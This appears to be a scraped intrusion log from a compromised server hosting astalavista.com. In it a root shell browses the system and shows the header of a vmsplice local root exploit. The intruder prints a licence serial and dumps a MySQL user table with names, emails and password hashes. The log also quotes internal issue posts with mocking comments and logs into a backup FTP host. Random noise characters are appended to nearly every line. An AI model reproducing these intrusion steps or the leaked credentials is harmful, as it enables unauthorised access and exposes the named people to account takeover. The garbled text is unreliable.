3 z& D x+ Z2 I5 Y& |$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish
+ _0 R: _3 b* Z6 L, r?># C: N* h2 d6 v* J0 s7 {0 A% I
/ i2 _7 |2 {5 [' ?5 a1 t9 Ksh-3.2# cd ..5 ]2 h' E3 i$ v5 f0 R' h$ m* D
sh-3.2# cd com
, A/ i. ~ Z3 Z5 v9 H4 K! [8 @4 Nsh-3.2# ls -la
: z3 u1 \5 g" c: G& }total 141208
' w: \% r: g2 ~ T. f$ w2 ndrwx–x–x 10 com com 4096 Apr 28 12:40 ./ @! b& Y, e& v' \
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ... d/ ~4 m/ S6 C
drwx—— 2 com com 4096 Jun 4 04:04 backups0 _0 s& L( `$ M: r0 A3 z
-rw-r–r– 1 root root 2419504 Sep 28 2007 backup.sql
" R" h& X# t$ a- ~drwxr-xr-x 2 com com 4096 May 12 15:20 backup_system! l' R- z1 y2 c% s
-rw——- 1 com com 21880 Jun 2 08:07 .bash_history
' X( K2 q5 Z; ?3 C& ~' ~-rw-r–r– 1 com com 24 Sep 24 2007 .bash_logout1 U* P- Z3 I! T) D x4 q
-rw-r–r– 1 com com 176 Sep 24 2007 .bash_profile
9 @% y8 o3 U1 R) v( B0 S-rw-r–r– 1 com com 124 Sep 24 2007 .bashrc* K- `& a( @* X
drwx–x–x 3 com com 4096 Jan 29 2008 domains
9 c J5 t: d$ c9 @* B/ x! q-rw-r–r– 1 com com 16409 Jul 16 2008 FWUser.class.php.fixed6 u+ O. q/ S" ^$ f
drwxrwx— 3 com mail 4096 Jan 6 19:24 imap. K/ k5 b) ^) D9 z9 m! f4 R
-rw——- 1 com com 69 Nov 18 2008 .lesshst. y/ x Z% r$ u
drwx—— 2 com com 4096 Sep 24 2007 mail8 A* a8 R K# @3 a; C# _. ?, w; A, ~
-rw——- 1 com com 13970 Mar 28 21:42 .mysql_history
) R1 l) I; @. x; X/ R& Adrwxr-xr-x 2 com com 4096 Aug 20 2008 .ncftp
7 g9 s: y9 A7 F. alrwxrwxrwx 1 com com 37 Sep 24 2007 public_html -> ./domains/astalavista.com/public_html
9 u5 O' |( T- E9 Z-rw-r—– 1 com mail 34 Sep 24 2007 .shadow& W. h X% E' J' I7 P$ r3 b+ g
drwx—— 2 com com 4096 Aug 26 2008 .ssh
7 x" R- a3 }( I$ K9 ^! E-rwx—— 1 com com 8515 Feb 10 2008 t
. F/ s4 ~9 C3 Z* H0 Q-rw-rw-r– 1 com com 6265 Feb 11 2008 t.c
9 S3 a& @" S' i; X/ Rdrwxrwxr-x 2 com com 4096 Jan 30 15:47 tmp) [: d6 w) l4 k$ i- |6 D% C
-rw-rw-r– 1 com com 617 May 20 2008 .toprc
5 h/ P5 {. d! U9 u( u$ N% V$ e-rw-rw-r– 1 com com 141851766 May 19 2008 version2-backup-20080519-0900.sql& o: q3 T* C9 ~) g/ g
-rw——- 1 com com 16629 Mar 28 21:46 .viminfo( k. N7 j2 N) V' G# {$ P
-rw-rw-r– 1 com com 51 Aug 25 2008 .vimrc
9 j, r: F1 O; A' V& _ Z& V7 m5 U8 v. }6 |7 t% h5 h
sh-3.2# head t.c' v0 I6 F% g0 }- b* ^2 l
/** O! z8 O0 H9 P( d
* jessica_biel_naked_in_my_bed.c2 u0 T% |$ {- |# ]% g
*
" @; _) O+ }( M7 `* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
8 q) w/ Q% R4 [; o" k N* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.* V4 @# Q0 V) y' W7 e
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
, N, w) B' l2 p" n) G9 n*0 q' X0 L6 p$ H3 n5 }) l
* Linux vmsplice Local Root Exploit$ M3 Y* O' R4 v! B4 p4 H5 C
* By qaaz
6 `& E0 }$ n/ I*
9 @/ i) ], s p5 I/ w" ~* R
2 D5 F: \) `& n0 W$ B7 [! Psh-3.2# cd /. `& _( A5 f4 }0 P6 K
sh-3.2# ls -la2 W' o ^% N w7 d9 C5 V! o( \
total 360" c/ L0 o1 F# ?0 P6 j; L
drwxr-xr-x 25 root root 4096 Jun 3 02:43 .
3 d, n! p8 ?) G3 ]* I* Z3 Idrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
1 n0 \1 |1 {( E+ x5 w4 @1 @3 E' r-rw——- 1 root root 10240 Jun 3 02:39 aquota.group
3 n% e8 @* R* ]! N-rw——- 1 root root 10240 Jun 3 02:39 aquota.user3 k( F/ l/ b- a: p
-rw-r—– 1 root root 819 Jul 17 2008 astalavista.us.db
' h! D( v7 c$ O7 K+ g! ]-rw-r–r– 1 root root 0 Jun 3 02:43 .autofsck
: V, s: f$ w: B5 o. T- P9 L-rw-r–r– 1 root root 0 Sep 16 2007 .autorelabel) v8 ?& J) A1 C7 s
drwxr-xr-x 3 root root 4096 Dec 29 2007 backup
9 S, N( _) z# `, L, [$ mdrwxr-xr-x 2 root root 4096 Jun 4 04:03 bin
% e8 a/ w# q- U5 [& ]5 j! kdrwxr-xr-x 5 root root 4096 Jun 2 14:06 boot
/ `- }# @2 ?( Gdrwxr-xr-x 11 root root 3620 Jun 3 02:43 dev
: C8 A/ ~+ z7 A" k0 Q* M7 h0 Gdrwxr-xr-x 84 root root 12288 Jun 4 03:16 etc
% a- z% X" _! e5 n( Ndrwxr-xr-x 14 root root 4096 Mar 11 17:56 home
8 I" F- f$ ?" U# R-rw-r–r– 1 root root 13387 Mar 20 2008 httpd.conf
( G" M9 g6 b! L' O" K+ q @drwxr-xr-x 11 root root 4096 Jun 4 04:02 lib: `! J2 g4 B6 @: m! T" u
drwxr-xr-x 7 root root 4096 Jun 4 04:03 lib64
( ?7 R! [& b2 rdrwx—— 2 root root 16384 Sep 11 2007 lost+found& _$ i8 f% W4 z( t$ E+ ]' k; o
drwxr-xr-x 2 root root 4096 Mar 11 17:56 media
, b4 h# R, ^4 P6 C7 Ydrwxr-xr-x 2 root root 0 Jun 3 02:43 misc
% k' Q1 Z5 c y4 ydrwxr-xr-x 2 root root 4096 Mar 11 17:56 mnt
% z$ [- [3 f% @5 e-rw-r–r– 1 root root 5859 Feb 3 2008 mrtg.cfg
$ O$ l: o( ~' @& Qdrwxr-xr-x 2 root root 0 Jun 3 02:43 net
% B- Z# V6 R1 {6 y9 G" ~ l3 cdrwxr-xr-x 3 root root 4096 Mar 11 17:56 opt
5 A+ e+ }$ l$ |dr-xr-xr-x 264 root root 0 Jun 3 02:42 proc
, Q) r# V K0 ], R3 g ~" idrwxr-x— 15 root root 4096 Jun 4 08:40 root
2 t! a+ o" v" xdrwxr-xr-x 2 root root 12288 Jun 4 04:03 sbin
. q% ]. D$ |8 N; o' f' V$ fdrwxr-xr-x 2 root root 4096 Mar 11 17:56 selinux
7 m$ x7 x3 `1 X6 S/ P, n+ l" Hdrwxr-xr-x 2 root root 4096 Mar 11 17:56 srv& f+ m) B" l9 T# T
drwxr-xr-x 11 root root 0 Jun 3 02:42 sys# X7 f. y) Q' k
drwxrwxrwt 4 root root 122880 Jun 4 10:35 tmp' ^9 p; ]. o3 u0 I, C: j
drwxr-xr-x 16 root root 4096 Jun 2 13:56 usr
" ?& D h$ |' Z9 l* n* i' jdrwxr-xr-x 26 root root 4096 Jun 4 03:16 var8 m9 B5 Z0 B5 K! X+ V& q4 _/ ]3 i
9 i/ M3 `7 o. }6 Xsh-3.2# cd opt
% m8 u, M4 n8 a1 N) v! Esh-3.2# ls -la2 X! ]8 K& G) O, c* @- m
total 20
/ \8 J7 p9 F; M, cdrwxr-xr-x 3 root root 4096 Mar 11 17:56 .
0 i. M7 i" p- F, J0 pdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ... s/ j+ K+ \( B7 t1 @# t
drwxr-xr-x 15 root root 4096 Mar 20 2008 lsws0 O: R$ u4 m) {3 A- E/ k
. W- q; E0 N- Vsh-3.2# cd lsws/8 }5 {5 P% y. |& K
sh-3.2# ls -la
) j, o" w' V' {- {/ Ctotal 108
5 u) ~3 @% }1 V3 Hdrwxr-xr-x 15 root root 4096 Mar 20 2008 .
# O4 V! L8 a2 h" v4 s* |drwxr-xr-x 3 root root 4096 Mar 11 17:56 ..) n) ?( |; k' X
drwxr-xr-x 8 root root 4096 Mar 20 2008 add-ons
7 W; G! a! h! p4 t, Kdrwxr-xr-x 13 root root 4096 May 29 15:10 admin4 N7 H9 p$ r8 @
drwxr-xr-x 5 apache apache 4096 May 29 15:10 autoupdate! L5 D- | B n& h! N: s$ X
drwxr-xr-x 2 root root 4096 May 29 15:10 bin
5 ?; h* }2 ^/ x- m+ {drwx—— 4 apache apache 4096 Jun 3 02:43 conf4 _. a( G( U2 U* C. K7 V
drwxr-xr-x 7 apache apache 4096 Mar 20 2008 DEFAULT
1 a% l- ^! ^) [; bdrwxr-xr-x 2 root root 4096 Sep 15 2008 docs- \9 }; s( p; H! K6 [
drwxr-xr-x 2 root root 4096 May 29 15:10 fcgi-bin& U9 e8 G8 v! D: E8 m, J9 G
drwxr-xr-x 2 root root 4096 Sep 15 2008 lib9 a i8 M A1 L0 e2 _8 n& e
-rw-r–r– 1 root root 6959 May 29 15:10 LICENSE
5 V& Z2 l9 U" w-rw-r–r– 1 root root 2214 May 29 15:10 LICENSE.OpenLDAP2 _1 g' c+ Y5 O
-rw-r–r– 1 root root 6279 May 29 15:10 LICENSE.OpenSSL
; d, p( n( d. l/ i/ E8 [-rw-r–r– 1 root root 3208 May 29 15:10 LICENSE.PHP
# J+ c9 G% e5 v$ Z$ x4 [/ k* xdrwxr-xr-x 2 root root 20480 Jun 4 09:55 logs( C+ a0 ~# ]2 J' }# O4 F8 I
drwxr-xr-x 2 root root 4096 Mar 20 2008 php; P" t7 w9 }) L9 `
drwx—— 2 apache apache 4096 Mar 20 2008 phpbuild6 X. D/ B( b g, f( N, a
drwxr-xr-x 3 root root 4096 Mar 20 2008 share: E" H7 t, u5 x' q+ C$ e& i
-rw-r–r– 1 root root 6 May 29 15:10 VERSION6 ~: j; u5 F8 K5 Y+ ]. ^8 U3 g- u
# V) ?2 K- O# K9 O2 D* b- F! d% {
sh-3.2# cd conf0 O/ Q Y7 v: c+ k Y
sh-3.2# ls -la! y3 }- ~: h: y& j/ V
total 48
5 E1 u' E+ K6 e' h& H# [drwx—— 4 apache apache 4096 Jun 3 02:43 .
2 x! n/ f3 ` E7 Odrwxr-xr-x 15 root root 4096 Mar 20 2008 ..
9 X9 [# n* l& h* I: [drwx—— 2 apache apache 4096 Mar 20 2008 cert$ Z7 y/ d% I- M }
-rw-r–r– 1 apache apache 6668 May 29 15:13 httpd_config.xml5 I- C2 c- n( Z V
-rw——- 1 apache apache 6613 May 27 18:33 httpd_config.xml.bak
! S/ s3 a( C& r$ B7 B-rw-r–r– 1 root apache 0 Jun 3 14:11 .last
9 t1 t# p+ X4 ~8 @0 @-rw——- 1 apache apache 256 May 29 15:10 license.key
]5 g6 {- A2 M- H1 U8 r. b. }7 \-rw——- 1 apache apache 256 Mar 21 2008 license.key.old
' [6 M: U# d A. y7 y6 i-rw——- 1 apache apache 3320 Mar 20 2008 mime.properties3 ]1 t6 q: p9 u: U3 @
-rw——- 1 apache apache 20 May 29 15:10 serial.no# ]/ t0 H5 R9 O$ d
drwx—— 2 apache apache 4096 Mar 20 2008 templates
% K9 }+ U; g% f5 b% }; d- A1 s2 |" J2 C7 D# s" d# j' w* v- e& N! x! n
sh-3.2# cat serial.no
: n3 w: X6 R9 `! m' h% X: |6 d: I: pIbDl-oVsO-CKqL-wVRa6 O, I; z) J, g# b, A4 a/ l
! i4 K0 x/ Z6 lsh-3.2# mysql
( p3 _8 [# F( A0 f% ^7 P" Q" S2 u4 _Welcome to the MySQL monitor. Commands end with ; or \g.
0 d6 r7 Y+ j$ `7 Y# v+ JYour MySQL connection id is 286844
0 N5 a6 x5 r, q7 D, ~# I, l% pServer version: 5.0.45-community-log MySQL Community Edition (GPL)6 t% x( {5 S! @
. w5 f J- R" c
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
; k* {1 y: a1 q: }" ~' Q# w: k* T
mysql> show databases;3 w% c: ?7 B$ K6 P. c
+———————–+
6 V5 d) I, p- B/ `% b2 T( ^: v! B| Database |% Q. Y) I% ~4 y5 {5 b
+———————–+" G/ v4 n: H/ s& L
| information_schema |
3 Z2 h9 D+ j1 z- \0 n| astanet_ads |
9 E5 [. Y& P# x! l6 C| astanet_mailing_lists |
( b6 T# L3 |2 [7 o& X8 ~& c| astanet_mediawiki |. D- g. w% W, x; n+ j# v
| astanet_membersystem |
0 x y6 g# w5 |" [| com_contrexx |+ [" N7 J8 C- z) E+ a6 b
| com_contrexx2 |
, {0 g; A1 w; f3 ~- Y| com_contrexx2_live |
# d( `% I# j4 g: Y. o0 c( g9 n| da_roundcube |
, F2 N4 d1 m# T3 m| dolphin |
8 \& [. m$ c! g. v9 X1 d7 A| ideapool |
9 x$ {$ x1 _) m$ @2 _| mysql |* x& I0 S: `( @5 B6 G( `/ a4 P; V1 M
| test |
& i7 K! s/ m; G( {| yourmaster |9 [! l u2 X- V1 P& T! c
+———————–+
* V& k7 \' [( V8 }14 rows in set (0.00 sec)
) u& Y6 m9 i% F( F
# z1 @+ p# I0 ^" Umysql> use ideapool
. T1 Q3 y' S3 v2 |! PDatabase changed
# [; T+ c( ~ w; I! \& H. ]# B9 z% Kmysql> show tables;* h( S5 G( {8 O. h* D
+———————————–+
" h! ]/ p( s9 f% ]9 t$ ~( ]| Tables_in_ideapool |
" ~# ^1 z: E% s# K( v" ?) S+———————————–+
' X- j5 |% ^6 U i* v& s0 T| eventum_columns_to_display |; ^6 {2 q, Z0 J; J5 k d' ^
| eventum_custom_field |. O% G7 F6 g* z6 V& y
| eventum_custom_field_option |
6 \! u; [% Y: { c/ || eventum_custom_filter |; V4 N4 [% P7 O/ ?. z4 B2 {
| eventum_customer_account_manager |
z9 C4 C: P8 W# ^) ~1 }| eventum_customer_note |9 L0 R" z: U* H- z; z1 i4 _
| eventum_email_account |
& O0 B& U1 ?! q( X. h0 @| eventum_email_draft |
+ @! K8 @/ [7 w9 { F| eventum_email_draft_recipient |# v! g7 g& W% \! o+ O m
| eventum_email_response |
1 z* v- |2 B6 f0 g H6 l| eventum_faq |- z" [# p5 @( {2 C& B/ @ K
| eventum_faq_support_level |2 S) K4 G) S; A. y/ H' C
| eventum_group |, s0 N0 n+ j3 H+ _& m6 w9 K* y( S
| eventum_history_type |, ?2 y6 @) I/ N9 |0 I$ p
| eventum_irc_notice |
+ B4 P. r4 D" x| eventum_issue |$ j/ T7 {. i+ A7 D5 s
| eventum_issue_association |# S7 L, f$ E9 j
| eventum_issue_attachment |2 H) L o1 l W8 x3 F
| eventum_issue_attachment_file |6 w; T8 l' J# k4 y+ {- a
| eventum_issue_checkin |% H. i8 ]8 y |) G
| eventum_issue_custom_field |, e" b* Z2 p& e" n0 o; L4 s) D
| eventum_issue_history |
* e+ a5 _% y( z) u) ]0 Z| eventum_issue_quarantine |
( a1 t8 J) F& `, D" X3 s% o| eventum_issue_requirement |" I# d7 }2 Z% }
| eventum_issue_user |& X( R; s6 t5 O# {
| eventum_issue_user_replier |
$ f w4 [1 H7 Z+ d| eventum_link_filter |
% v# W8 O$ B } E, j4 x9 [3 }9 M| eventum_mail_queue |
( ?1 _6 B0 }; p% U$ u( R: \+ D u" q| eventum_mail_queue_log |
* P0 @1 d$ S" i8 G; W! @| eventum_news |5 A. M1 x. x/ r3 j6 C( i
| eventum_note |! ^# R, i& @5 s3 L: ?
| eventum_phone_support |' g* R9 k, K' ]5 V
| eventum_project |# U3 a6 v0 ]& ^5 h' D# @3 \6 Q/ L
| eventum_project_category |# k) ?! t) |& w+ v
| eventum_project_custom_field |
3 G4 f) `" E" ]+ @/ I! Y+ Z| eventum_project_email_response |
/ C+ \1 n; I; K, U$ }, ?| eventum_project_field_display |
7 J9 @' _& T5 V: u, h| eventum_project_group |1 q; g6 l( Q4 W1 Z0 n) n( Q
| eventum_project_link_filter |, @$ y' D# D! J+ ^) F
| eventum_project_news |
" T9 d1 G1 U m& B8 @$ X$ Q; N6 c| eventum_project_phone_category |4 j Z8 A/ w! F% y: t @) n
| eventum_project_priority |& {, }. q/ U7 }4 T3 B
| eventum_project_release |
" H8 A4 _% d: H, t7 ~| eventum_project_round_robin |
7 O" @1 [1 G, i5 q8 G. a| eventum_project_status |/ M1 e: |/ A) N/ S
| eventum_project_status_date |
7 x+ q) \& T: ]* J) n| eventum_project_user |$ v& i+ p4 b& v3 p, Z8 U+ X+ ?
| eventum_reminder_action |
, T X* D0 @' x- K2 Q D) f% X8 c| eventum_reminder_action_list |
' N+ ^) [5 u8 _' {8 W; I| eventum_reminder_action_type |
0 r- w, C: x: W2 l+ d5 G| eventum_reminder_field |
+ s! F. k/ N+ O, P( w| eventum_reminder_history |
, `2 H% g3 Y, e5 ]# D$ s. V| eventum_reminder_level |( d8 }. d% j; P
| eventum_reminder_level_condition |: a7 s9 O4 P5 h9 C
| eventum_reminder_operator |
. B! J- q$ o C| eventum_reminder_priority |
( s/ j- ?5 `" M, S% q5 m V| eventum_reminder_requirement |# U/ o: N- v7 X; z+ n' a2 _
| eventum_reminder_triggered_action |
! Z2 ^! B$ Y, H8 z+ D) Y2 s$ g| eventum_resolution |
# A' u# }' Y3 N" H| eventum_round_robin_user |% X n5 T! ~/ {, J5 O* Z
| eventum_search_profile |
% i+ H' K+ d, O8 @# ]4 v% X| eventum_status |
6 d4 ?+ x% |9 ?* m/ {| eventum_subscription |
- w7 o2 O6 z) s, \) U8 h| eventum_subscription_type |& M0 c" O" X) L. B1 u
| eventum_support_email |# @2 h s* |! C3 W* N
| eventum_support_email_body |
; \& }' d# ?% N| eventum_time_tracking |
' ?" |& H' ^7 J" U| eventum_time_tracking_category |) t c; p4 d/ {" E
| eventum_user |
( ] c9 b" c6 D# J1 e+ z" n+———————————–+
( q/ t4 b& T% S8 n% D69 rows in set (0.00 sec)
7 Z4 ?, w9 V! v+ [" V
2 f9 ^4 I; d( d# gmysql> describe eventum_user;9 [. @7 M4 v% V: N$ Z* @* `( `
+————————-+——————+——+—–+———————+—————-+
5 _$ R9 j- U; M1 A* k) R| Field | Type | Null | Key | Default | Extra |* c0 ? K5 }/ G9 D; {# M! ?) {! A$ l: Z$ d
+————————-+——————+——+—–+———————+—————-+1 I/ a; z+ n/ s# n! G+ F
| usr_id | int(11) unsigned | NO | PRI | NULL | auto_increment |9 \5 q: D; U6 }. F& n( M* y
| usr_grp_id | int(11) unsigned | YES | MUL | NULL | |
. \% ~- A; m6 N, J( C| usr_customer_id | int(11) unsigned | YES | | NULL | |) l n+ l, B5 ]6 i) V% O# S" F
| usr_customer_contact_id | int(11) unsigned | YES | | NULL | |9 x5 `) S! I6 c
| usr_created_date | datetime | NO | | 0000-00-00 00:00:00 | |4 r8 r+ ^5 A `+ d |: J9 o
| usr_status | varchar(8) | NO | | active | |
! q, y% Q5 Y$ t+ ?: E4 N! R; F9 E| usr_password | varchar(32) | NO | | | |
8 G" q# k$ W* _& v* w+ L3 y| usr_full_name | varchar(255) | NO | | | |
7 E. j! @* Z) O. Y1 `) ]; d| usr_email | varchar(255) | NO | UNI | | |
) r! L3 C' I! G) \9 A7 g% G! u| usr_preferences | longtext | YES | | NULL | |5 M$ b* @+ @; m3 l
| usr_sms_email | varchar(255) | YES | | NULL | |
( m" u* g1 g: A. c) N% t4 }$ x( h7 ^| usr_clocked_in | tinyint(1) | YES | | 0 | |
8 I1 F a& u# }7 E% h0 w1 p# d| usr_lang | varchar(5) | YES | | NULL | |
* F5 P2 Z7 R& h. W/ M+ g+————————-+——————+——+—–+———————+—————-+! I$ Y [: W6 f) Z, A( W" |2 I
13 rows in set (0.00 sec)+ j1 t- R' U* \! B& N1 K. u1 w
% s3 C# R8 k: j- _5 g1 u+ lmysql> select usr_full_name,usr_email,usr_password from eventum_user;
1 w5 M0 U, G. T5 I+———————-+——————————-+———————————-+
: d; M; f) k- k3 n8 N# h' d| usr_full_name | usr_email | usr_password |
$ Q" c8 p0 {* L d* a+———————-+——————————-+———————————-+
9 ?' m7 A2 ]: K; d" X' ?| system | 链接标记system-account@example.com | 14589714398751513457adf349173434 |2 r' B/ W3 z: Z Z" n/ g. Q
| Developer (Paulo) | 链接标记paulo.santos@astalavista.ch | 26a35a1cf8895c27fb37ef4cf149f7bb |
! w, a8 _9 ~: \& J l| Be1er0ph0r | 链接标记be1er0ph0r@gmx.de | 229766dc0ca1fb67160a8782321dfdce |
7 h5 |3 _8 x+ h% L3 s/ M% v+ @| Admin | 链接标记pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |9 j7 Z# k7 @/ B4 Y
| ADMIN | 链接标记admin@astalavista.ch | f6fdffe48c908deb0f4c3bd36c032e72 |+ M9 f0 U: I/ W1 o9 s: ~( b* x3 a, m
| USER | 链接标记user@astalavista.ch | 5cc32e366c87c4cb49e4309b75f57d64 |1 _' d2 |" Z& N/ y7 S# e7 f3 A' ?
| Glafkos - (nowayout) | 链接标记glafkos@astalavista.com | f7735ab119023a8abb2301e67f81cd67 |
6 k# S" g6 @" b {) y c* [| Joao | 链接标记joao.pontes@astalavista.net | f805c071d7c823b937448c54c047b9fd |1 N. f9 |. |+ {6 o2 c3 u
| Pascal | 链接标记pm@astalavista.ch | e10adc3949ba59abbe56e057f20f883e |
* q( n9 b1 c8 H. B2 u| commander | 链接标记commander@astalavista.com | 932cd250918f881d41feb0b93883a926 |
* t+ s3 A: {" } ^, K% d7 Y, x| ishtus | 链接标记ishtus@astalavista.com | a587ffc88b3dbbba3fd2fe67af649ff0 |
0 L: [/ Y% M, U, A" D# N7 B2 ~| sykadul | 链接标记sykadul@astalavista.com | 20224a2f3eeb57a13a10b4df543c128e |/ D7 g4 f5 \; h! \" n, V* C
| Zach McElroy | 链接标记admin@badfoo.net | 33c5d4954da881814420f3ba39772644 |* z* J& Y0 v' f) X; g
| usb | 链接标记usbenigma@hushmail.com | b513f22c3db6932855ad732f5f8a10a2 |
5 x# i' h; r8 e7 L/ w7 N| cyph3r | 链接标记cyph3r@astalavista.com | 6e1e50017a945e874d52ec91f9ab2cee |) y+ L) Y7 I( O' \
+———————-+——————————-+———————————-+% N( P/ z ^/ K* N0 b
15 rows in set (0.00 sec)
- J4 i+ x( Q" ]0 H+ _. |8 Q' {4 s0 J; s
mysql> select iss_description from eventum_issue where iss_id = 43;
5 w8 B W4 p7 [; I9 a+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+" _" `$ c* s2 X- \% g- a
| iss_description
5 n( j" W) ?4 |- }3 I5 o|! |' e" W2 j3 Z+ C9 j. _ G7 W
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
1 L5 q: k' x3 q1 L5 k( G| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in… how to do that? well think about it… if a user is watching a movie… he’ll be
/ l+ b* k) _* l* m: {' R. g9 Qconnected for 90 mins… 120mins… so what i propose is something like:
+ B E1 d# l) K- E, y链接标记[url]http://www.surfthechannel.com/[/url]
" J+ o# x+ Q6 l4 |' i4 Wsince they only provide LINKS to the movies they are LEGAL and don’t break DMCA rules… so we could do the same… “iframe” the content on our website or use a system+ d% s% J/ A& ]/ g2 o
like podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed… which doesn’t
# j4 D7 y9 l1 i. ? |break any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off
~3 i% ^+ i2 G) }if they think it breaks copyright laws and we will remove it… i think that makes it on the border of DMCA…( {. C$ Q& F5 e6 K$ K- d
) T( b' L1 q* n1 z4 RWe could also put advertisement during play on the flash video player itself… extra $$…/ N" J. w. N- o
' K1 V" H3 r# V* `5 `5 J* TBy sykadul |* e* B$ F9 h: ^8 U/ H
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+0 F& Z% {: @) d9 j9 V. E
1 row in set (0.00 sec)5 B8 {$ n6 m1 T# W
6 C+ d8 b# R8 g& f: Y6 ?1 T! V4 u9 b// Money and extra $$ is all they care about. remember that.1 Z/ J0 y( k k! b
W# h: I% |! o
mysql> select iss_summary,iss_description from eventum_issue where iss_id =42;# ?* K) |* F/ @, S9 a# `6 n/ X
+————————+——————————————————————————————————————————————————————————————————————————————-+; m# Y9 I. Y1 g0 ]& r! X# `
| iss_summary | iss_description
+ _) Z' L& f7 Y4 u: q' X( k|
) c, y6 T6 l3 }- J& n, n" ^, m) n+————————+——————————————————————————————————————————————————————————————————————————————-+
) U6 n* J0 w* u2 D+ D| Forum for REAL EXPERTS | Hello,; X8 Y# ^6 |) t
! o% Q& z6 e X5 k( B4 p+ J
Ishtus and I,& k: S& H* S+ [7 m
v5 Q U. `# O, |0 h( bCame up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide
6 I! p) _& ?$ t4 |ONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..
5 H& {$ n+ f g( M1 |- K+ o/ K1 n$ G/ Z; f8 r8 L
One example a friend of mine from coresecurity.com!1 d' F s; ]( a3 k8 ]
2 z% @0 \7 p4 i, `We could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..& U3 h2 l! q) u9 a( s6 |
$ \; V3 i( Y6 h# m6 z+ e5 Z, s
|
/ n+ ]6 M9 F# B. q* ^ q, c+————————+——————————————————————————————————————————————————————————————————————————————+
" f [ h% `+ m1 row in set (0.00 sec)
! [8 ]$ t5 m7 R* p( n: l9 X+ |( m) F9 w4 P w% ~
// What an awesome yet original idea Ishtus and him… bring MORE security “experts”, thats exactly what the world needs…: }" J# G( I: O+ J `
& e y. `' K% x$ f9 N. b* ?( [4 Z: C; a, Smysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;9 N9 H2 x% U Z! l2 n& d5 w
+——————+———————————————————————————————+, C3 s/ n0 [& K0 u3 i, K3 c
| iss_summary | iss_description |. F% |$ H3 I$ Z8 T. w% T1 Q# w
+——————+———————————————————————————————+
2 | u7 ?' u; B* r! G5 O- n% ~/ @6 g| Website guidance | Virtual Girl which guides you trought the website.
b3 \5 l* a) z# A) E9 M
+ h6 G t! V; I% e' ^We need a girl with who you can ( talk )!!!
( X8 L% E" j* ^" {) FAlso for the News!
% K6 K( L( K8 A; v( y, F5 c$ w1 eSo my suggestion is a girl who read you the news loud if you like!
- |1 ^' z# E# O9 W! Jyou can choose between read yourselfe or she read it for you or both!- s/ \1 [( T# U) M, z9 @, F8 |
! v, M5 r3 d9 P% K$ xGo to 链接标记[url]www.heise.de[/url]! There is an example for Voice News! It’s a good thing!!!/ H# E0 T. m; ?7 \
- [$ M# C# E- u0 e, P/ A" S
Have a look on the example girls!!
4 [* E" e9 {' r9 i
, T5 x$ U4 F# H. h链接标记[url]http://www.yaoti.com/de/free_yaoti.html[/url]
7 ~1 t8 `) e$ Z/ u# I8 t2 _) _8 l+ K G! K/ m
or that
1 ?& ?% m2 J& z/ ~# _- I: |: s: E( y- b$ z6 H6 h7 p v
链接标记[url]http://www.yellostrom.de/[/url]3 U4 e! q: Y H( C9 n" p1 N: L8 Z
$ ~! d! g+ t3 f|* J! w( c; G( r) ]; I, z% I
+——————+———————————————————————————————+& k$ {$ Q/ M) |7 e- n+ v3 K: u
1 row in set (0.00 sec)
- g+ [% v$ v. J& N( q( g- k% p% a; p* O s& P
// ha ha.5 O/ N4 F" l. j8 w8 O+ k
3 a4 O1 Y% Z5 W! n, J6 o) l
mysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;
8 j- N+ q) A }4 ^6 m. h0 z* i+————————–+———————————————————————————————————–+7 S( s0 n' N+ _& N
| iss_summary | iss_description |
1 q# W- P& ~' w+————————–+———————————————————————————————————–+8 `- `+ x6 R) l% _- r
| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name. |& _1 Q( X+ Y& L' O4 K
+————————–+———————————————————————————————————–+
0 ^* g: W7 E9 M- g1 row in set (0.00 sec)
. w: s/ G2 ^8 I K, z
Q4 i* f' z1 h( Q' Y5 l( ^4 E4 y6 Y// LOL.
) H. B0 c, w- |: H ^
; B3 Z% x L" j6 zmysql> exit2 c8 d o, z3 X X
Bye4 @2 D6 R% r2 b& h; z! d1 u
6 S* j, a2 v: x2 b6 ^6 j' |
sh-3.2# ftp 212.254.194.1638 M% L5 _3 O2 M7 \
Connected to 212.254.194.163.
! u5 c* a! F+ B220 BackupCOM_VW FTP server ready.
! c N: D4 s0 d5 Z1 o504 AUTH: security mechanism ‘GSSAPI’ not supported.2 R" ~) D& R$ y+ A
504 AUTH: security mechanism ‘KERBEROS_V4′ not supported.+ t+ a. g- x4 f. U# ~+ g: b
KERBEROS_V4 rejected as an authentication type
6 {; V& I4 y8 E3 \# N# JName (212.254.194.163:root): astalavista.com
( m5 E- }# S/ @331 Password required for astalavista.com. V, y$ Z* M+ d2 n
Password: I! q" e- [" _8 x# K( e2 U
230 User astalavista.com logged in.3 H; Z6 J/ \9 |) W
Remote system type is UNIX.+ @) H4 B* `. Z- ^& j
Using binary mode to transfer files.
7 p) t, \! Y: j6 Y2 A! o$ e& Iftp> ls -la
7 Z g e1 }0 N$ s227 Entering Passive Mode (212,254,194,163,2,188)( w: y- x& r: a7 v& H
150 Opening BINARY mode data connection for ‘file list’.* K6 b- n% ^- ^8 ~
dr-x—— 1 root users 4096 Jun 4 06:13 astalavista.com( W6 `+ L/ i5 o1 L
226 Transfer complete.
' t' M" v' G: {3 D; g$ {; B: Nftp> cd astalavista.com
